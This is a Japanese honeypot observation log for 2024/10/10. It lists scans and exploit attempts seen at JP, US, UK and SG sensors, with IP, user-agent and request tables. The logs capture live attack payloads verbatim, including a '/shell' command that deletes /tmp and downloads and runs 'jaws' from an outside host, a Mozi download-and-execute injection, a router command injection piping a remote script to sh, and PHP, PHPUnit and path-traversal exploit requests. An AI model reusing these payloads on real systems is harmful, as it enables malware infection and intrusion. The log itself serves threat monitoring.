2024/10/10 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2024/10/10分です。

特徴

共通

/.envへのスキャン行為

Location:JP

zgrabによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 178.128.175.63/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
Odinによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 178.128.175.63/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：148 (前日比：-7393)
US：総アクセス数：122 (前日比：-80)
UK：総アクセス数：82 (前日比：-12)
SG：総アクセス数：154 (前日比：16)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.255.98.160	United States
1	4.255.99.21	United States
1	18.134.226.164	United States
2	18.219.53.7	United States
1	31.13.224.36	Bulgaria
1	64.62.156.94	United States
1	64.62.156.104	United States
1	64.62.156.106	United States
1	80.82.77.202	United Kingdom
80	84.247.149.159	Norway
5	93.123.85.155	Bulgaria
3	93.174.93.12	United Kingdom
2	98.80.144.177	United States
11	101.32.192.203	Singapore
1	120.61.205.178	India
10	135.125.217.54	France
4	135.125.246.110	France
1	154.213.187.60	Hong Kong
4	154.216.17.82	Hong Kong
1	154.216.18.129	Hong Kong
1	159.89.47.107	United States
1	172.105.128.11	United States
1	172.105.128.13	United States
1	185.241.208.126	Netherlands
6	192.207.23.3	United States
2	193.32.162.34	Romania
2	198.235.24.10	United States
2	198.235.24.38	United States

UserAgent一覧

件数	UserAgent
4	'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https[:]//www[.]nokia[.]com/networks/ip-networks/deepfield/genome/)'
17	-
1	Bloglines/3.1 (http[:]//www[.]bloglines[.]com)
1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
1	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
3	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/2.0.18 Safari/537.36
100	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 zgrab/0.x
2	Python-urllib/3.12
2	python-requests/2.32.3

リクエスト内容一覧

件数	Method	Request	Protocol
1		27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$	HTTP/1.0
1		\x16\x03\x01\x01\x18\x01
8		\x16\x03\x01
4		\x16\x03\x02\x01o\x01
1		``
1	GET	/.aws/credentials	HTTP/1.1
25	GET	/.env	HTTP/1.1
2	GET	/.git/HEAD	HTTP/1.1
3	GET	/.git/config	HTTP/1.1
1	GET	/.profile	HTTP/1.1
1	GET	/?%3Cplay%3Ewithme%3C/%3E	HTTP/1.1
1	GET	/?phpinfo=1	HTTP/1.1
1	GET	/?q=info	HTTP/1.1
1	GET	/?xdebuginfo	HTTP/1.1
1	GET	/Dockerfile	HTTP/1.1
1	GET	/README.md	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/admin/config	HTTP/1.1
1	GET	/admin/test	HTTP/1.1
1	GET	/api/config/tsconfig.json	HTTP/1.1
1	GET	/app.js	HTTP/1.1
1	GET	/app.py	HTTP/1.1
1	GET	/app/etc/env.php	HTTP/1.1
1	GET	/app_dev.php/_profiler/phpinfo	HTTP/1.1
1	GET	/application-dev.properties	HTTP/1.1
1	GET	/application.properties	HTTP/1.1
1	GET	/application/config/constants.php/	HTTP/1.1
1	GET	/appsettings.json	HTTP/1.1
1	GET	/cgi-bin/login.cgi	HTTP/1.1
2	GET	/command_port.ini	HTTP/1.1
1	GET	/config.ini	HTTP/1.1
1	GET	/config.js	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/config.php	HTTP/1.1
1	GET	/config.properties	HTTP/1.1
1	GET	/config/application.yml	HTTP/1.1
1	GET	/config/aws.json	HTTP/1.1
1	GET	/config/config.ini	HTTP/1.1
1	GET	/config/config.js	HTTP/1.1
1	GET	/config/config.json	HTTP/1.1
1	GET	/config/config.php	HTTP/1.1
1	GET	/config/constants.js	HTTP/1.1
1	GET	/config/default.json	HTTP/1.1
1	GET	/config/development.json	HTTP/1.1
1	GET	/config/environments/production.rb	HTTP/1.1
1	GET	/config/index.js	HTTP/1.1
1	GET	/config/php.ini	HTTP/1.1
1	GET	/config/services.yaml	HTTP/1.1
1	GET	/config	HTTP/1.1
1	GET	/configs/application.ini	HTTP/1.1
1	GET	/debug/default	HTTP/1.1
1	GET	/dev/phpinfo.php	HTTP/1.1
1	GET	/device/device.js	HTTP/1.1
1	GET	/ecosystem.config.js	HTTP/1.1
1	GET	/env.json	HTTP/1.1
1	GET	/environment.ts	HTTP/1.1
2	GET	/favicon.ico	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/gulpfile.js	HTTP/1.1
2	GET	/index.html	HTTP/1.1
1	GET	/index.php/phpinfo	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/info	HTTP/1.1
1	GET	/install/index.php	HTTP/1.1
1	GET	/js/config.js	HTTP/1.1
1	GET	/login.jsp	HTTP/1.1
1	GET	/login/index.php	HTTP/1.1
1	GET	/main.js	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manifest.json	HTTP/1.1
1	GET	/php-info.php	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/php_info.php	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/phpversion.php	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/products/.gitlab-ci.yml	HTTP/1.1
1	GET	/public/js/main.js	HTTP/1.1
1	GET	/resources/application.conf	HTTP/1.1
1	GET	/secured/phpinfo.php	HTTP/1.1
1	GET	/server.js	HTTP/1.1
1	GET	/settings.json	HTTP/1.1
1	GET	/src/config.js	HTTP/1.1
1	GET	/src/main/resources/application.properties	HTTP/1.1
1	GET	/src/main/resources/appsettings.yml	HTTP/1.1
1	GET	/static/.gitlab-ci.yml	HTTP/1.1
1	GET	/staticfiles	HTTP/1.1
1	GET	/storage/logs/laravel.log	HTTP/1.1
1	GET	/test.php	HTTP/1.1
1	GET	/test1.php	HTTP/1.1
1	GET	/test2.php	HTTP/1.1
1	GET	/test	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	GET	/wp-config.php	HTTP/1.1
11	HEAD	/Core/Skin/Login.aspx	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	2.57.149.233	Russia
1	5.8.11.202	Russia
1	5.181.190.29	Poland
44	8.220.210.24	Singapore
1	23.95.63.210	United States
1	45.79.128.205	United States
1	45.79.181.223	United States
3	54.36.115.221	France
14	54.37.79.75	France
1	65.49.1.101	United States
2	65.49.1.105	United States
1	80.82.77.202	United Kingdom
2	83.97.73.245	Germany
1	94.156.104.115	Bulgaria
1	103.186.101.138	private ip address
1	117.254.33.97	India
1	139.59.101.104	Singapore
3	141.98.11.15	Lithuania
1	141.98.11.79	Lithuania
2	152.42.174.244	United States
2	152.42.214.50	United States
6	152.42.219.47	United States
2	152.42.243.111	United States
4	152.42.243.206	United States
1	159.89.47.107	United States
4	159.223.67.34	United States
2	159.223.69.51	United States
1	161.35.173.105	United States
1	172.245.20.199	United States
2	178.128.54.126	United States
1	178.215.236.240	Bulgaria
1	184.105.247.194	United States
4	185.224.128.83	Netherlands
1	194.156.79.117	Austria
2	198.235.24.161	United States
2	205.210.31.26	United States
2	206.168.34.125	United States

UserAgent一覧

件数	UserAgent
30	-
44	Custom-AsyncHttpClient
1	Go-http-client/1.1
1	Hello, world
4	Hello
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
1	Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo
20	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
13	Mozilla/5.0

リクエスト内容一覧

件数	Method	Request	Protocol
2		\x03
12		\x16\x03\x01\x01\v\x01
7		\x16\x03\x01
2		\x16\x03\x02\x01o\x01
1	CONNECT	www[.]google[.]com:443	HTTP/1.1
23	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=admin&psd=admin	HTTP/1.0
13	GET	/cdn-cgi/trace	HTTP/1.1
9	GET	/cgi-bin/luci/;stok=/locale	HTTP/1.1
1	GET	/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
2	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../tmp/index1	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php	HTTP/1.1
1	GET	/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	HTTP/1.1
1	GET	/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	HTTP/1.1
1	GET	/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+178[.]128[.]175[.]63/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/LICENSE/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	GET	/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	POST	/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.8.11.202	Russia
2	5.181.190.29	Poland
1	13.91.179.162	United States
1	45.227.254.49	Belize
1	50.6.173.28	United States
1	50.6.174.157	United States
4	54.37.79.75	France
14	57.129.23.166	France
1	65.49.1.96	United States
1	65.49.1.102	United States
1	65.49.1.103	United States
1	80.82.77.202	United Kingdom
1	83.97.73.245	Germany
1	92.118.39.167	Romania
1	93.174.93.12	United Kingdom
1	103.197.115.13	India
4	111.229.66.89	China
1	113.5.141.25	China
1	137.74.239.155	France
1	139.59.101.104	Singapore
5	141.98.11.15	Lithuania
6	152.42.243.111	United States
3	154.213.187.244	Hong Kong
1	159.89.47.107	United States
2	167.94.145.103	United States
1	172.169.5.242	United States
1	178.215.236.240	Bulgaria
8	185.224.128.67	Netherlands
2	185.224.128.83	Netherlands
1	185.234.216.88	Russia
1	192.99.7.195	Canada
4	195.144.21.56	Seychelles
2	203.55.131.3	Australia
2	205.210.31.9	United States
2	205.210.31.145	United States
1	216.218.206.69	United States

UserAgent一覧

件数	UserAgent
25	-
11	Go-http-client/1.1
5	Hello
1	Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3880.5 Mobile Safari/537.36
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
4	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
19	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4951.41 Safari/537.36
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/67.0.3396.69 Mobile/16A366 Safari/604.1
2	Mozilla/5.0 zgrab/0.x
5	Mozilla/5.0

リクエスト内容一覧

件数	Method	Request	Protocol
2		\x03
3		\x16\x03\x01\x01\v\x01
6		\x16\x03\x01
3		\x16\x03\x02\x01o\x01
1		\x16\x03\x03\x01\xa6\x01
3	CONNECT	google[.]com:443	HTTP/1.1
23	GET	/.env	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=adminisp&psd=adminisp	HTTP/1.0
5	GET	/cdn-cgi/trace	HTTP/1.1
8	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154[.]216[.]17[.]31%2Ft%7Csh%3B%60)	HTTP/1.1
9	GET	/cgi-bin/luci/;stok=/locale	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/webui/	HTTP/1.1
1	HEAD	/invoker/EJBInvokerServlet	HTTP/1.1
1	HEAD	/invoker/JMXInvokerServlet	HTTP/1.1
1	HEAD	/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss[.]system:type=ServerInfo	HTTP/1.1
1	HEAD	/web-console/ServerInfo.jsp	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
3	2.57.149.233	Russia
1	4.151.37.255	United States
1	5.8.11.202	Russia
1	5.181.190.29	Poland
2	8.218.186.170	Singapore
1	40.67.138.47	United States
1	40.86.176.117	United States
1	42.98.206.211	Hong Kong
1	45.79.172.21	United States
1	45.79.181.179	United States
5	45.190.160.59	Brazil
2	50.18.87.116	United States
4	54.36.115.221	France
7	54.37.79.75	France
5	57.129.23.166	France
1	64.62.197.96	United States
1	64.62.197.124	United States
1	64.62.197.127	United States
1	64.62.197.129	United States
1	80.66.76.134	Russia
2	80.82.77.202	United Kingdom
1	82.157.247.165	China
1	83.97.73.245	Germany
1	87.120.115.19	Bulgaria
1	88.214.193.11	United Kingdom
1	93.174.93.12	United Kingdom
44	103.82.24.154	Vietnam
1	103.158.96.214	Indonesia
1	103.186.101.138	private ip address
4	104.248.37.157	United States
2	109.204.233.40	Finland
4	111.229.66.89	China
1	139.59.133.16	Singapore
4	141.98.11.15	Lithuania
1	141.98.11.79	Lithuania
1	147.45.112.6	Russia
2	152.42.214.50	United States
1	154.213.187.60	Hong Kong
2	154.213.187.244	Hong Kong
1	159.89.47.107	United States
1	164.90.191.44	United States
3	164.90.209.90	United States
2	164.90.226.245	United States
1	164.90.235.74	United States
1	165.227.93.19	United States
1	165.227.166.107	United States
1	168.100.247.10	United States
1	176.74.88.188	Georgia
1	178.215.236.240	Bulgaria
1	182.43.148.74	China
4	185.142.236.43	Seychelles
4	185.215.148.106	Canada
8	185.224.128.67	Netherlands
2	199.45.155.102	United States
2	203.55.131.5	Australia
2	205.210.31.111	United States
2	205.210.31.130	United States

UserAgent一覧

件数	UserAgent
33	-
45	Custom-AsyncHttpClient
17	Go-http-client/1.1
2	Hello, world
5	Hello
1	Mozilla/5.0 (Linux; Android 9; G8341) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
1	Mozilla/5.0 (Linux; Android 9; Redmi Note 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
1	Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
4	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
21	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
4	Mozilla/5.0 (compatible; Odin; https[:]//docs[.]getodin[.]com/)
2	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.0
1	python-requests/2.27.1
5	xfa1

リクエスト内容一覧

件数	Method	Request	Protocol
2		-
5		\x03
1		\x16\x03\x01\x01$\x01
1		\x16\x03\x01\x01\v\x01
2		\x16\x03\x01\x01\x18\x01
12		\x16\x03\x01
4		\x16\x03\x02\x01o\x01
2	CONNECT	google[.]com:443	HTTP/1.1
1	CONNECT	ipinfo[.]io:443	HTTP/1.1
1	CONNECT	www[.]google[.]com:443	HTTP/1.1
24	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/.vscode/sftp.json	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/Telerik.Web.UI.WebResource.axd%3Ftype=rau	HTTP/1.1
1	GET	/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
5	GET	/admin/assets/js/views/login.js	HTTP/1.0
1	GET	/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
1	GET	/cdn-cgi/trace	HTTP/1.1
1	GET	/cgi-bin/authLogin.cgi	HTTP/1.1
8	GET	/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154[.]216[.]17[.]31%2Ft%7Csh%3B%60)	HTTP/1.1
6	GET	/cgi-bin/luci/;stok=/locale	HTTP/1.1
1	GET	/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
4	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../tmp/index1	HTTP/1.1
1	GET	/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php	HTTP/1.1
1	GET	/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	HTTP/1.1
1	GET	/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/login	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/odinhttpcall1728494006	HTTP/1.1
1	GET	/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/phpunit/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	HTTP/1.1
1	GET	/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/query?q=SHOW+DIAGNOSTICS	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+178[.]128[.]175[.]63/jaws;sh+/tmp/jaws	HTTP/1.1
